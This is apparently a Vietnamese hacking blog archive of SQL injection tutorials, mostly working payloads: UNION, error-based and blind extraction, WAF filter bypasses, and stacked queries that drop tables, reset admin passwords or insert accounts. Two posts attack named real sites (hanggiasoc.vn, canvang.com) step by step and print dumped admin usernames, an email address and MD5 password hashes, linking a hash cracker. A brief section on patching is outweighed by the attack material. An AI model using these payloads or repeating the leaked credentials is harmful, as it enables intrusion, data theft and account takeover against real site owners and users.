Showing posts with label SQLI. Show all posts
Showing posts with label SQLI. Show all posts

Sunday, June 22, 2014

Second-order Injection

Second-order Injection

Đây là kỹ thuật ít được sử dụng vì rất khó để nhận biết một ứng dụng web có bị mặc lỗi này hay không. Kỹ thuật này được mô tả như sau : Trước hết, ta sẽ “inject” vào cơ sở dữ liệu một đoạn mã. Đoạn mã này chưa hề gây nguy hiểm cho hệ thống nhưng nó sẽ được sử dụng làm bàn đạp cho lần inject tiếp theo. Chúng ta hãy xem một ví dụ cụ thể để hiểu hơn về kỹ thuật này.

Chúng ta sẽ truy cập vào một ứng dụng web và tìm cách đăng ký một tài khoản có username là "administrator' --"(admin' --). Sau đó chúng ta sẽ thực hiện thao tác thay đổi mật khẩu. Thao tác thay đổi mật khẩu được ứng dựng web xử lý như sau :





Với username đã đăng ký ở trên, câu truy vấn trên trở thành :




Như vậy, ta có thể thay đổi được password của tài khoản administrator và hoàn toàn có thể đăng nhập dưới tên tài khoảnadministrator.

Thursday, June 12, 2014

Tuesday, June 10, 2014

Bypass SQL injection

Một số cách Bypass SQL injection



Cách 1: thay ký tự thường bằng ký tự hoa

id=1+UnIoN SeLeCT 1,2,3,4-- -

Cách 2: dùng cặp thẻ /*!code*/

id=1+/*!UnIoN*/ /*!SeLeCT*/ 1,2,3,4-- -

Cách 3: dùng like thay cho = (khi dấu = bị chặn)

/*!TaBlE_ScHeMa*/+like+database()– -

Cách 4: Lồng Union và select

id=1+UNIunionON+SeLselectECT+1,2,3–

Cách 5 thêm ký tự null hoặc các ký tự đặc biệt vào giữa:

sel%0bect+1,2,3
id=1+uni*on+sel*ect+1,2,3–+
id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+’UnI”On’+'SeL”ECT’

Cách 6: dùng hàm convert():
convert(group_concat(table_name)+using+ascii)
convert(version() using latin1)
aes_decrypt(aes_encrypt(version(),1),1)
unhex(hex(@@version))
cast(version()+as+binary)
convert(version(),binary)
convert(version()+using+binary)

Cách 7: dùng char() để hiện thị users bị ẩn
CHAR(117, 115, 101, 114, 115)

Cách 8: show table ẩn:

group_concat(unhex(hex(table_name)))

cách 9: select
UNION all /*!50000SELECT*/

Cách 10 (ít dùng)thêm khoảng trắng tách từ
information_schema. tables thay cho information_schema.tables

Nguồn Troller team

Error Based/Double Query SQL injection

Error Based/Double Query SQL injection


victim : http://hanggiasoc.vn/tim-kiem?q=%27
error : CDbCommand không thể thi hành câu truy vấn SQL: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' AND published = 1' at line 1

Tìm database : 
http://hanggiasoc.vn/tim-kiem?q=1' or+1+group+by+concat_ws(0x3a,version(),database(),user(),floor(rand(0)*2))+having+min(0)+or+1-- -

'5.0.96:betahgs:betahgs@localhost:1' for key 1

Tìm tables :
http://hanggiasoc.vn/tim-kiem?q=1' and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

'authassignment~1' for key 1

table mình cần là table user : ( tăng limit )
http://hanggiasoc.vn/tim-kiem?q=1' and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 26,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

Duplicate entry 'users~1' for key 1

Hiển thị column của table vừa tìm:
http://hanggiasoc.vn/tim-kiem?q=1' and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -


tăng limit để tìm các column mình cần: (email,password)
http://hanggiasoc.vn/tim-kiem?q=1' and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x7573657273 limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -
 Duplicate entry 'email~1' for key 1

http://hanggiasoc.vn/tim-kiem?q=1' and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x7573657273 limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

Duplicate entry 'password~1' for key 1

Kết quả :
http://hanggiasoc.vn/tim-kiem?q=1' and (select 1 from (select count(*),concat((select(select concat(cast(concat(email) as char),0x7e)) from betahgs.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -
Duplicate entry '007.heineken@gmail.com~1' for key 1

tương tự 
http://hanggiasoc.vn/tim-kiem?q=1' and (select 1 from (select count(*),concat((select(select concat(cast(concat(password) as char),0x7e)) from betahgs.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -
'1a2a861efa455bfa46f387e8cf4818e1~1' for key 1

End :v


Friday, June 6, 2014

SQL injection lab finish [Filter+tổng kết]

Finish [Filter+tổng kết SQLi]


- Khi query 1 số site chặn các hàm union,select,convert...thì khi query nó trả về trang trắng, lúc này ta thay đổi 1 số chữ Hoa, thường xen kẽ nhau: UniON, SeLECt... hoặc conveter sang ascii
- Khi query cũng có 1 số site trả về trang trắng, thì ta nhìn kỹ trên site nha,kể cả title site.Nếu ko thấy ae view source sẽ thấy
- 1 số query table_name không hiện ra , ta unhex(hex(group_concat(table_name))
- Khi query nó trả về thế này
Forbidden
You don't have permission to access /news.php on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

Hoặc

Not Acceptable
An appropriate representation of the requested resource / could not be found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request
Thì ta dùng /*! */ (VD: /*!union*/ hoặc /*!select*/ hoặc information_schema./*!tables*/..vv)

-Nếu query nó ra thế này:
406 Not Acceptable
This request is not acceptable Powered By LiteSpeed Web Server
LiteSpeed Technologies is not responsible for administration and contents of this web site!

Thì các bạn cần tư duy chút. VD: các bạn có thể thay space = %0A (kí tự xuống dòng) ..vv
1 Số truy vấn khác
-Tạo 1 table_name:

;drop table kingnuscreate table thanggiangho (id int identity,kingnusvarchar(99999)) insert into kingnusselect table_name from information_schema.tables--sp_password
-Thay đổi pass admin: lấy vd trên nếu như username :kingnus/pass:ceh
;UPDATE table1 SET password = 'ceh' WHERE username='kingnus'--
-Chèn 1 record mới vào table

;INSERT INTO 'table1' ('ID', 'username', 'password', 'details') VALUES (99,'kingnus','ceh','Online')--
-Tìm tất cả các table có liên quan như: admin,user,member,account,login...

and 1 = convert(int,(select top 1 table_name from information_schema.tables where table_name like '%admin%' or table_name like '%Member%' or table_name like '%User%' or table_name like '%account%' or table_name like '%login%'))--sp_password
and 1 = convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('') and (table_name like '%25admin%25' or table_name like '%25Member%25' or table_name like '%25User%25' or table_name like '%25account%25' or table_name like '%25login%25')))--sp_password
-Lấy tất cả các table_name:

; begin declare @temp varchar(8000) set @temp=':' select @temp=@temp%2btable_name%2b'/' from information_schema.tables select @temp as id into kingnusend--
or 1=(select id from kingnus)--
; drop table kingnus--
-Lấy tất cả các column_name từ 1 table_name: vd table_name : tbadmin

; begin declare @temp varchar(8000) set @temp=':' select @temp=@temp%2bcolumn_name%2b'/' from information_schema.columns where table_name='tbadmin' select @temp as id into kingnus end--
or 1=(select id from kingnus)--
I. Cách vá lỗi:
1. Mởi php.ini và set magic_quotes_gcp thành On
Nó sẽ chèn “\” trước (‘) có trong:
-COOKIE
-POST
-GET
2. Sử dụng hàm addslashes() để “gói” chuỗi bằng dấu “/”

3. Sử dụng hàm htmlspecialchars(), mysql_escape_string() … để mã hoá kí tự đặc biệt trong câu truy vấn

4. Ép kiểu:
- Ta biết id của một đối tượng (user, category, box, product …) luôn là kiểu số nguyên, vì vậy ta dùng:
$id = (int)$_POST['id'];
hoặc
$id = (int)$_GET['id'];
Giải thích về vá lỗi :
3 cách đầu: Nếu nhập vào abc’ đi , thì nó sẽ hiểu là một chuỗi chứ không phải là abc rồi dấu ‘ riêng

Nguồn Cehvn

SQL injection lab 4 [Blind SQLi]

SQL injection lab 4 [Blind SQLi] 


Phát hiện lỗi "blind sql injection":
- Đối với MY SQL vesion 4 trở xuống.
- để xác định xem nó có bị dinh lỗi blind sql injection ko ta hãy thử thêm vào 1 điều kiện đúng .Ví dụ như:
http://www.site.com/pressRelease.jsp?pressID=5 AND 1=1
nếu ta vẫn được trả về vị trí củahttp://www.site.com/pressRelease.jsp?pressID=5 thì có nghĩa là nó đã dính lỗi
Khai thác:
VD:http://www.site.com/news.php?id=5

Ta tiến hành kiếm version bằng cách sử dụng hàm cắt chuỗi Substring() VD: Substring('mmdVBF',5,3) kết quả sẽ là neo
http://www.site.com/news.php?id=5 and substring(version(),1,1)=4
Trang sẽ hiện thị bình thường nếu kết quả truy vấn trên đúng , nếu vậy phiên bản của Mysql này là 4.xxx.x còn nếu không chúng ta thay 4 thành 5 để kiểm tra tiếp
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
http://www.site.com/news.php?id=5 and (select 1)=1
nếu site tải thông thường thì subselects làm việc.
sau đó chúng ta sẽ xem liệu chúng ta có thể truy cập mysql.user
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
nếu tải trang thông thường chúng ta có thể truy cập để mysql.user và sau đó, chúng ta có thể kéo một số password usign load_file() function and OUTFILE.
kiểm tra table và column:
Đây là một phần khi đoán:
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1

(sử dụng limit 0,1 truy vấn ở đây của chúng ta trả về 1 hàng của dữ liệu, gây ra subselect trả về chỉ 1 hàng, điều này là rất quan trọng.)
sau đó nếu trang tải bình thường mà không có nội dung thiếu, thì table users exits.
nếu bạn get FALSE (một số điều còn thiếu), hãy thay đổi table_name cho đén khi đoán đúng
bây giờ chúng ta có table name là users, nbaay giờ chúng ta cần column name.
giống như tên bảng, chúng ta bắt đầu đoán. Giống như tôi đã nói trước khi thử các tên gọi thông thường cho các cột.
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
nếu trang tải bình thường, chúng ta biết rằng tên cột là password (nếu chúng ta sai thì thử tên gọi thông thường hoặc chỉ đoán)
ở đây chúng ta hợp nhất 1 cột password, sau đó trả về chuỗi ký tự đầu tiên (1,1)
lấy dữ liệu từ cơ sở dữ liệu
chúng tôi tìm thấy người sử dụng bảng, cột: username, password . vì vậy chúng ta sẽ get các characters từ đó.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80


ok này ở đây get ký tự đầu tiên: user ,trong table users.
that

substring ở đây trả về character đầu tiên và 1 character trong length. ascii() converts mà 1 character vào giá trị ascii .
và sau đó so sánh nó với simbol lớn hơn sau đó>.
vì vậy nếu char ascii lớn hơn 80 sau đó, tải trang web bình thường. (TRUE)
chúng ta tiếp tục cố gắng cho đến khi chúng ta nhận được sai.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95


chúng ta nhận được TRUE, giữ incrementing
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98


TRUE một lần nữa, cao hơn:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99


FALSE!!!
do đó, ký tự đầu tiên trong tên username là char (99). Sử dụng bộ chuyển đổi ascii, chúng ta biết rằng char (99) là chữ 'c'.
sau đó cho phép kiểm tra các character thứ hai.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99


Lưu ý rằng tôi thay đổi, 1,1, 2,1 để có được những characte thứ hai. (bây giờ nó trả về characte thứ hai, 1 characte lenght)
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99


TRUE, trang tải bình thường, cao hơn.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107


FALSE, thấp hơn số lượng.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104


TRUE, cao hơn.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
FALSE!!!

Nguồn Cehvn

SQL injection lab 3 [khai thác SQLi]

SQL injection lab 3 [khai thác SQLi]


Sau khi xác định site sqli + check sqli +hệ quản trị SCDL là gì (phổ biến MsAccess,MSSQL,MySQL, Oracle), thì chúng ta bắt tay vào công việc khai thác chúng. (Mỗi hệ quản trị CSDL khác nhau thì có cách khai thác gần như là khác nhau).Các bạn phải lắm rõ vần đề tưrên để sau này dễ dàng cho việc khai thác lỗi. Cách khai thác lỗi của từng ứng dụng sử dụng CSDL trên sẽ đợc trình bày ở dưới: (tuy nhên theo kinh các newbie cố găng tập trung MýQJ vì nó là phổ biến)

Đối với CSDL MyQSL:
Lỗi trả về thường xuất hiện các dấu hiệu sau:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Riêng bọn này các bạn cần chú ý việc đầu tiên ta khai tác là kiếm version (phiên bản) của nó hiện tại.
Kĩ thuật khai thác bọn này được thực hiền lần lượt như sau:
Đầu tiên ta tiến hành xác định số cột trong table hiện tại bằng cách sử dụng Order by n (VD: 6)

Tiếp theo ta sử dụng UNION SELECT [ số cột tìm được , được phân cách bằng dấu phẩy]--
http://demo.com.vn/index.php?id=-1 Union Select 1,2,3,4,5,6-- nó sẽ hiện ra những con số

nếu không hiện số:
+viewsource
+Xem file ảnh bị lỗi để thấy số
+Thay số bằng null (vd id=-188 thì thay id=null UNION....)
+Thay các column(field) bằng null (vd :UNION SELECT null,null,....)
+Bypass filter (mod_security)( TH này mình sẽ đi sâu phần sau)
+TH hiện ra thông báo thế này: The used SELECT statements have a different number of columns

Union select như sau: id=1+and+1=0+UNION SELECT+1,2...

Hoặc dùng error base:
And (Select 1 From(Select Count( * ),Concat(CHAR (124),(Select concat_ws(0x7c,version(),database(),user())),floor (rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)-- -
and extractvalue(rand(),concat(0x3a,version(),0x3a,use r()))--
or 1 group by concat_ws(0x7c,version(),database(),current_user,f loor(rand(0)*2)) having min(0) or 1--

Hoặc dùng blind: and substring(version(),1,1)=5

Tuỳ thời cơ mà biến hoá chúng

Tỉ dụ nó hiện ra số 3.
Công việc tiếp theo của ta là xác định version (Công việc quan trọng nhất)
http://demo.com.vn/index.php?id=-1 Union Select 1,2,version(),4,5,6--
Nếu kết quả trả về :

>>>>Phiên bản lớn hơn hoặc bằng 4 và nhỏ hơn 5: Khai thác như lỗi của CSDL MsAccess (Hack Đoán)
>>>>Phiên bản lớn hơn 5 thì sử dụng cách dưới đây.
Oke, ta đã xác định được phiên bản là lớn hơn 5. ta tiến hành truy vấn.
http://demo.com.vn/index.php?id=-1 Union Select 1,2,table_name,4,5,6 From Information_schema.tables--
hoặc
http://demo.com.vn/index.php?id=-1 Union Select 1,2,CONVERT(group_concat(table_name) USING latin1),4,5,6 From Information_schema.tables--
hoặc
http://demo.com.vn/index.php?id=-1 Union Select 1,2,unhex(hex(group_concat(table_name))),4,5,6 From Information_schema.tables--
Tuỳ thời cơ mà biến hoá chúng.

nó sẽ trả về giá trị đầu tiên là: CHARACTER_SETS, để gộp tất cả các table lại cho dễ tìm kiếm thì các bạn dùng hàm Group_concat() Hoặc limit.
http://demo.com.vn/index.php?id=-1 Union Select 1,2,group_concat(table_name),4,5,6 From Information_schema.tables--
http://demo.com.vn/index.php?id=-1 Union Select 1,2,table_name,4,5,6 From Information_schema.tables limit 17,1--
http://demo.com.vn/index.php?id=-1 Union Select 1,2,table_name,4,5,6 From Information_schema.tables limit n,1--
Chúng ta không quan tâm lắm nhưng table dạng như này:
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_ APPLICABILITY,USER_PRIVILEGES,VIEWS,admins
vì đó chỉ là những table của hệ thống thôi, quan trọng là xác định được table chứa admin trong mớ hỗn độn phía trên. VD ta tìm được table chưa thông tin của admin là admins.
Ta tiến hành chuyển chuỗi 'admin' sang dạng hex đẻ dễ khai thác vd chuyển sang là ?
thì ta tiến hành tìm các column trong table admins đó bằng cách
http://demo.com.vn/index.php?id=-1 Union Select 1,2,group_concat(column_name),4,5,6 From Information_schema.columns where table_name=(0x?)--
http://demo.com.vn/index.php?id=-1 Union Select 1,2,CONVERT(group_concat(column_name) USING latin1),4,5,6 From Information_schema.columns where table_name=(0x?)--
http://demo.com.vn/index.php?id=-1 Union Select 1,2,unhex(hex(group_concat(columns_name))),4,5,6 From Information_schema.Columns where table_name=(0x?)--
sau công viẹc này ta đã xác định được 2 cloumn quan trọng nhất , VD là username và password.
Ta tiến hành lấy thông tin. Bằng cách
http://demo.com.vn/index.php?id=-1 Union Select 1,2,concat(username,0x2f,password)4,5,6 From admins--
0x2f: là dạng hex của kí tự /
Đối với CSDL MSACCESS:
là loại khó phá nhất trong các site dính SQLInj , lý do không phải do nó bảo mật, mà là do mặc định nó truy cập file mdb không bằng quyền admin, do đó table msysobjects chứa các table của nó ta không thể đụng được. Đụng vào CSDL này là phải blind hack (Hack đoán).
lỗi trả về của loại này thường xuất hiện các dấu hiệu sau: Jet database, ODBC Microsoft Access Driver. Khai thác loai này như sau:
Đầu tiên ta sử dụng lệnh UNION SELECT 1 FROM [Table_name]
[Table_name]: Là tên table bạn đoán nó sẽ chứa thông tin về Username và pasword của Victim. VD: Admin, Admins, Account, Thanhvien, Quantri, User, Users,...
VD: Bạn khai thác: http://demo.com.vn/news.asp?id=72Union select 1 from admin
lỗi trả về là:
Microsoft OLE DB Provider for ODBC Drivers error '80040e37'

[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine cannot find the input table or query 'admin'. Make sure it exists and that its name is spelled correctly. (Dịch nôm na là không tồn tại table 'admin' trong CSDL)
đừng nản trí, hãy đoán tiếp http://demo.com.vn/news.asp?id=72 Union select 1 from admins
Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Microsoft][ODBC Microsoft Access Driver] The number of columns in the two selected tables or queries of a union query do not match.

/news.asp, line 16 (Dịch nôm na là: Số cột không cần bằng khi sử dụng truy vấn với Union)
Đến đây chúng ta đã biết table chứa thông tin về victim là 'admíns' đến lúc này bạn chỉ việc ngồi đếm số cột trong table đó bằng cách Union select 1,2,3,..,n from admins các bạn cứ đếm sao cho nó không báo lỗi nữa mà trên trang đó hiện ra những con số. Đến lúc này bạn lại phải đoán column chứa username và password rồi thay thế chúng vào những con số hiện ra đó sao cho không hiện ra lỗi tức là bạn đã đoán đúng.
VD: Bạn đếm được đến số 5 thì kô còn lỗi, Con số hiện ra đó là 2,3 và column chứa tên đăng nhập của admin là username, column chứa mật khẩu của admin là password thì bạn sẽ khai thác http://demo.com.vn/news.asp?id=72 Union select 1,username,password,4,5 from admins
Đối với CSDL MSSQL:
Lỗi trả về của bọn này thường xúât hiện các dấu hiệu sau:

Microsoft OLE DB Provider for ODBC Drivers ,ODBC SQL Server Driver, Gọi tắt là (lỗi OLE DB)
Cách khai thác bọn này sử dụng kĩ thuật "Magic convert". Kĩ thuật này được sử dụng như sau:
and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password
Hoặc
and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('')))--sp_password
Trong bảng Information_schema.tables có chứa tất cả các table trong CSDL (Đây là gót chân Asin của bọn này )

-Nếu tìm ra được cái table_name đầu tiên ví dụ là table1
Check table tiếp theo của nó:

and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('table1','table2',..,'table n')))--sp_password

cư như thế cho đến khi nào nó ra cái table_name chứa thông tin admin vd:tbladmin,admin,user,tbuser..

Bước 2: Get column

Tìm được cái table_name chưa thông tin admin rồi,ta tiến hành get column_name
giả sử table1 chứa thông tin về admin

and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='table1'))--sp_password

vd ta tìm được column thứ 1 trong table1 là username
Tiếp tục get các column thứ 2 trong table1:

and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='table1' and column_name not in('username')))--sp_password

Nếu tìm được username/password trong table1 thì ta check pass của nó

Bước 3: Check pass
table_name là table1
column_name trong table1 là : username/password

and 1=convert(int,(select top 1 username%2b'/'%2bpassword from table1))--sp_password



Nguồn Cehvn

SQL injection lab 2 [Order by]

SQL injection lab 2 [Order by]


Order by được sử dụng để làm gì :

-Làm tiết kiệm thời gian attack.
-Nó được sử dụng để tính số field ,column có trong CSDL SQL.
Cú pháp: order by xx (với xx là số nguyên, để hiệu quả nên order by 100 đầu tiên để xác định ta đi đúng hướng)
VD:
http://ww.site.com/index.php?id=1 order by 100
Lỗi nhận biết

Error: Unknown column '100' in 'order clause'
--------------
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
site có hiện tượng khác lạ (dựa vào kinh nghiệm)

Nhưng cũng có site lại phải thêm dấu nháy và dấu -- hoặc -- - hoặc -- a hoặc /* mới order by được

-- : Hiểu đơn giản là tránh bị ghi log
- : Biến đoạn đằng sau dấu - thành chú thích.

Sau đây là các trường hợp thường dùng để Order by :
TH

cú pháp

Ví dụ
TH1: order by 100 http://ww.victim.com/index.php?id=1 order by 100
TH2: ' order by 100 http://ww.victim.com/index.php?id=1 ' order by 100
TH3: 'order by 100 http://ww.victim.com/index.php?id=1 'order by 100
TH4: chuyển sang union selecthttp://ww.victim.com/index.php?id=1 union select 1
Ví Dụ:

http://ww.victim.com/index.php?id=1 order by 1-- không lỗi
http://ww.victim.com/index.php?id=1 order by 2-- không lỗi
http://ww.victim.com/index.php?id=1 order by 3-- không lỗi
http://ww.victim.com/index.php?id=1 order by 4-- lỗi
vậy ta thấy site có 3 cột lỗi (vì order by 4 cột --> hiện lỗi)



Nguồn Cehvn

SQL injection lab 1 [khái niệm + checksite sqli]

[khái niệm + checksite sqli]


Khái niệm SQL injection:
1. Khái niệm: SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay, theo thống kê thì khoảng 75% hacker sử dụng kĩ thuật này để chiếm quyền điều khiển của hệ thống. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, Firefox,...

2.kiến thức cần biết:
-dấu nháy đơn (‘): dấu này trong ngôn ngữ SQL dùng để “gói” chuỗi. Ta thường thêm nó vào sau tham số kiểu số trên chuỗi truy vấn để kiểm tra có lỗi hay không. Nguyên nhân là do không kiểm tra kiểu dữ liệu.
- dấu thăng (#) và dấu (–): các dấu này để đánh dấu chú thích, nghĩa là những kí tự đứng sau một trong hai dấu này trên cùng một dòng sẽ được xem là chú thích được bỏ qua khi thực hiện truy vấn.
- dấu ( ; ): dùng để kết thúc một truy vấn và tất nhiên sau nó là bắt đầu một truy vấn khác. Đôi khi ta dùng union để nối hai câu truy vấn.
kiến thức database (CSDL) và ngôn ngữ thiết kế website (PHP, ASP).
MsAccess: thường dành cho các website tin tức quy mô nhỏ, sử dụng ngôn ngữ ASP để thiết kế.
MSSQL: dùng cho website có quy mô lớn, sử dụng ngôn ngữ ASP, ASPX (ASP.Net) để thiết kế.
MySQL: tất cả các website có thể dùng, sử dụng ngôn ngữ PHP để thiết kế (MySQL và PHP là 2 anh em song sinh , chúng luôn đi kèm với nhau ).
Oracle: tương tự như MySQL Db2: dùng cho các hệ thông website ngân hàng các hệ thống cần chế độ bảo mật rất cao!.
check 1 site SQL injection:
Bình thường để hack 1 site lỗi SQL injection bao gồm các bước :
B 1 : Check
B 2 : Order By (Đếm số cột liên quan trong câu query mà URL của site đó chạy )
B3 : Union Select

a) Bạn có thể search các trang web cho phép submit data ở bất kì một search-engine nào trên mạng, chẳng hạn như các trang login, search, feedback hoặc qua cách truyền tham số (Dork) VD: chitiet.php?id=21 , detail.asp?id=6,...

b) Khi tìm kiếm được mục tiêu cần tấn công chúng ta cần phải xác định được hệ quản trị CSDL của website đó ( đây là bước quan trọng) bằng cách nhìn tổng thẻ website, ngôn ngữ thiết kế, OS của server qua quá trình thăm dò. Ở đây tôi xin thống kê các database thường gặp đi cùng với ngôn ngữ thiết kế website.

c) khi xác định được mục tiêu thì các bạn cần kiểm tra các lỗi xem có khả năng tấn công dựa vào nó được không. Các kĩ thuật khai thác lỗi như sau:

· -Với các tham số được truyền vào VD: index.php?id=21 , index.asp?id=6,.. thì chúng ta chỉ cần thêm các kí tự dấu nháy đơn ('), dấu nháy kép ("), phần trăm 27 (%27), 00 phần trăm (00%) vào sau id để kiểm tra nếu nó hiện ra lỗi hoặc không hiện ra 1 cái gì (khác hoàn toàn với lúc ban đầu thì 90% bạn có khả năng khai thác được lỗi này - Sẽ trình bày rõ ở phần sau).

-Với các ô submit thông tin như tìm kiếm, login, contact, request,.. các bạn cũng làm tương tự.

Ví Dụ:

http://ww.victim.com/index.php?id=1 (giả sử đây là site bị lỗi SQL injection)
cú pháp

trạng thái
http://ww.victim.com/index.php?id=1' lỗi
--------
http://ww.victim.com/index.php?id=1" lỗi
--------
http://ww.victim.com/index.php?id=1%27 lỗi
--------
http://ww.victim.com/index.php?id=1 and 1=0 lỗi

http://ww.victim.com/index.php?id=1 and 1=1 không lỗi

share 1 số kinh nghiệm cho ae:
1. Nếu bạn check lỗi SQL Inj ở 1 website mà bạn không thấy lỗi hiện ra thì đừng nên bỏ qua chúng vì nó có thể bị admin làm cho ẩn đi.
2. Nếu không ra số đẹp khi Union thì hãy view Scoure nó lên và tìm, có thể nó ở trong đó.
3. Thay vì thêm ' vào sau id để kiểm tra thì các bạn có thể sử dụng kĩ thuật
sử dụng các phép toán: VD: and 1=1 hiện ra site , and 1=0 hiện ra site báo lỗi =>> Site đã bị dính sql inj
sử dụng các phép toán kiểu true fales: VD: 2>3 ; 2♥
1--1
BETWEEN 1 AND 3
'b' BETWEEN 'a' AND 'c'
2 IN (0,1,2)
CASA WHEN 1>0 THEN 1 END
' uuu' = 'uuu'
ISNULL(NULL)
ISNULL(COT(0))
1 IS NOT NULL
NULL IS NULL
Nếu tham số (id) của trang hiện tại là 3, tham số trang sau là 2, nếu ta dùng 3-1 , kết quả trả về là nội dung của trang có id=2 thì 99% là site này dính lỗi SQL Inj



Nguồn Cehvn

List SQL Injection

List SQL Injection



  1. SQL injection lab 1 [khái niệm+checksite sqli]
  2. SQL injection lab 2 [Order by]
  3. SQL injection lab 3 [khai thác SQLi]
  4. SQL injection lab 4 [Blind SQLi] 
  5. SQL injection lab 5 [Filter+tổng kết]

Saturday, May 31, 2014

Tutorial sql injection rewrite url html

Demo sql injection site canvang.com

Chỉ mang tính chất học hỏi, chia sẻ exp thôi nhé, ai biết rồi thì cho qua hộ mình =.='


1. Đầu tiên tìm lỗi sql injection ở link nào nha :


Ở đây mình tìm được : 
http://www.canvang.com/sanpham/84/211/Qua-Can-Chuan-Inox.html
Thêm ' để biết có lỗi sqli hay không : 

thử thêm sau Inox xem sao : 

http://www.canvang.com/sanpham/84/211/Qua-Can-Chuan-Inox'.html
==>> không thấy gì !

http://www.canvang.com/sanpham/84/211'/Qua-Can-Chuan-Inox.html

==>> oke đã thấy lỗi.



Các bước tiếp theo thì bạn nào đọc qua bài sql injection  cơ bản rồi thì chắc sẽ đọc lướt qua thôi nhĩ ~.~



2. Tìm số trường cột qua order by 22-- -


Thử ORDER BY thôi nào :D (ở đây mình làm rồi nên làm nhanh nhé)
http://www.canvang.com/sanpham/84/211+order+by+22--+-/Qua-Can-Chuan-Inox.html --> không lỗi.
http://www.canvang.com/sanpham/84/211+order+by+23--+-/Qua-Can-Chuan-Inox.html --> lỗi nè.


3. Xác định vị trí trường cột bị lỗi : 


Sử dụng UNION SELECT nhé, nhớ thêm "-" trước "id".
http://www.canvang.com/sanpham/84/-211+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--+-/Qua-Can-Chuan-Inox.html



oke lỗi ở cột 4,6,9,17.



4. Xuất ra tên các tables trong database


Mình lấy cột 17 cho dể nhìn.
http://www.canvang.com/sanpham/84/-211+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,unhex(hex(group_concat(table_name))),18,19,20,21,22+from+information_schema.tables+where+table_schema=database()--+-/Qua-Can-Chuan-Inox.html




5. Xuất ra tên các colums trong table bee_admin :


http://www.canvang.com/sanpham/84/-211+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,unhex(hex(group_concat(column_name))),18,19,20,21,22+from+information_schema.columns+where+table_schema=database() and table_name=0x6265655f61646d696e--+-/Qua-Can-Chuan-Inox.html


| id,username,password,ymnick,type,capnhat |


6. Xuất ra thông tin của username,password :


http://www.canvang.com/sanpham/84/-211+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,unhex(hex(group_concat(username,0x2f,password))),18,19,20,21,22+from+bee_admin--+-/Qua-Can-Chuan-Inox.html

ôke đã xong.

| root/\ff6356f0eab5c5a0c7418de24953b982 |
| nam/\e10adc3949ba59abbe56e057f20f883e |
| minhdinh19782003/\ff6356f0eab5c5a0c7418de24953b982 |
crack pass : http://www.hashkiller.co.uk/md5-decrypter.aspx


end tutorial(TzT-eror69)

Friday, May 30, 2014

Khai thác lỗi sql injection dạng error - based quick blind.

Khai thác lỗi sql injection dạng error - based quick blind.

Ví dụ victim có dạng:
